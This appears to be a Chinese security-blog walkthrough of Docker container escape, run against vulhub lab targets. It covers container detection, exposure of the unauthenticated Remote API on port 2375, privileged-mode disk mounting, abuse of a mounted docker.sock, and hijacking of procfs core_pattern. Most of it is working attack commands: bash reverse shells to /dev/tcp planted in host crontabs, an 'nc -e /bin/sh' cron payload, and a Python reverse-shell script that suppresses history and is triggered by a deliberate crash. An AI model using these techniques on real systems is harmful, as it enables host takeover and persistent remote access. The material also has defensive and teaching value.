微信公众号:[白昼信安]
弱小和无知不是生存的障碍,傲慢才是!
[如果你觉得文章对你有帮助,欢迎点赏]
docke逃逸之判断1、查看hostname(不太准)2、cat /proc/1/cgroup3、检查根目录下是否存在.dockerenv文件4、搜索docker字样(不推荐使用)1、 Docker Remote API未授权访问逃逸1.1 环境搭建1.2 漏洞复现2、Dokcer之privileged特权模式逃逸2.1 环境搭建2.2 漏洞复现3、挂载Docker Socket逃逸3.1 环境搭建3.2 漏洞复现 4、procfs挂载逃逸 4.1 环境搭建
4.2 漏洞复现
如何判断是否在docker容器中
docker执行hostname后一般都是一串数字。
这个命令是显示进程1所属的control group (cgroup) 的层次结构。
通过这个命令我们如果看到docker字样,就说明我们应该是在容器中。
ls -al /
grep -qi docker
在文本中查找是否包含 "docker" 这个单词,但是运行时间太长,不建议使用。
docker swarm是一个docker集群管理的工具,在使用docker swarm的时候,默认的2375端口会绑定一个Docker Remote API的服务,由于这个端口默认绑定在了0.0.0.0上,所以导致任何人都可以通过HTTP、Python、调用API来操作Docker。
这里使用的环境是vulhub。
下载地址:
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
然后,我们这边开启环境。
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d
靶机(ubuntu)IP:192.168.89.130
通过访问2375端口,发现有回显信息,通过version得到当前环境信息,则说明存在漏洞。
docker -H tcp://192.168.89.130:2375 ps
docker -H tcp://192.168.89.130:2375 pull busybox
docker -H tcp://192.168.89.130:2375 images
docker -H tcp://192.168.89.130:2375 run -it -v /:/mnt 8135583d97fe sh
docker -H tcp://192.168.89.130:2375 run -it -v /:/mnt 8135583d97fe /bin/bash
cd /mnt
touch /mnt/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/mnt/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /mnt/etc/crontab
service cron start
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
Docker 的 --privileged 参数是一种特权模式,允许容器中的进程获得与宿主机相同的权限。
所以我们这边再拉取一个dcoker容器,然后使用特权模式启动。
docker pull alpine #拉取alpine环境
docker run -itd --privileged alpine /bin/sh #以特权模式启动
启动后进入容器
docker exec -it b8bb60ef2862 /bin/sh
在容器内部的时候,我们首先判断我们当前容器是否是特权模式。
例如这个命令就可以进行判断
cat /proc/self/status | grep CapEff
cat /proc/self/status 用于查看当前进程的状态信息。
grep CapEff 用于从输出结果中过滤出 CapEff 相关的行
capability 是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。
fdisk -l
#列出所有已经连接到系统上的磁盘和它们的分区信息
mkdir /test
mount /dev/sda5 /test #将宿主机磁盘挂载到test目录下。
touch /test/test.sh
echo "bash -i >& /dev/tcp/192.168.89.128/9898 0>&1" >/test/test.sh
echo "* * * * * root bash /test.sh" >> /test/etc/crontab
如果在启动docker容器时,将宿主机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以操作宿主机的docker。
解释:docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker,使用docker命令,操作
docker:
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
攻击者通过利用 Docker daemon 与 Dockers Host(宿主机)之间的通信管道 Docker Socket 接口进行提权和攻击。
创建一个容器并挂载 /var/run/docker/sock 文件
docker pull ubuntu:16.04
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
进入容器后搜索find / -name docker.sock,如果这个文件存在,则说明这个漏洞可能存在。
find / -name docker.sock
apt-get update && apt-get install docker.io
docker -H unix://var/run/docker.sock images
docker -H unix://var/run/docker.sock run -v /:/test1 -it alpine /bin/bash
procfs是一种特殊的文件系统,它不存储实际的文件,而是提供一个类似于虚拟文件的接口。你可以通过 /proc 目录中的各种文件,查询操作系统内核、进程、硬件设备等信息。
漏洞利用原理:procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern文件中的首个字符是管道符| ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
当利用这种方式进行docker逃逸时,触发条件比较苛刻,需要有进程奔溃才能触发。
启动容器ubuntu:16.04,将/proc/sys/kernel/core_pattern挂载到容器中的/host/proc/sys/kernel/core_pattern位置。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:16.04
find / -name core_pattern
找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
var/lib/docker/overlay2/eeb4a1acc3448e713ce87665ead1a363234168925e31adc6736d07356e862533
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
#!/usr/bin/python3
import os
import pty
import socket
lhost = "192.168.89.128"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
给 Shell 赋予执行权限
chmod 777 .t.py
我们修改/host/proc/sys/kernel/core_pattern文件以达到修改宿主机/proc/sys/kernel/core_pattern的目的。
echo -e "|var/lib/docker/overlay2/eeb4a1acc3448e713ce87665ead1a363234168925e31adc6736d073/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
vim t.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc t.c -o t
./t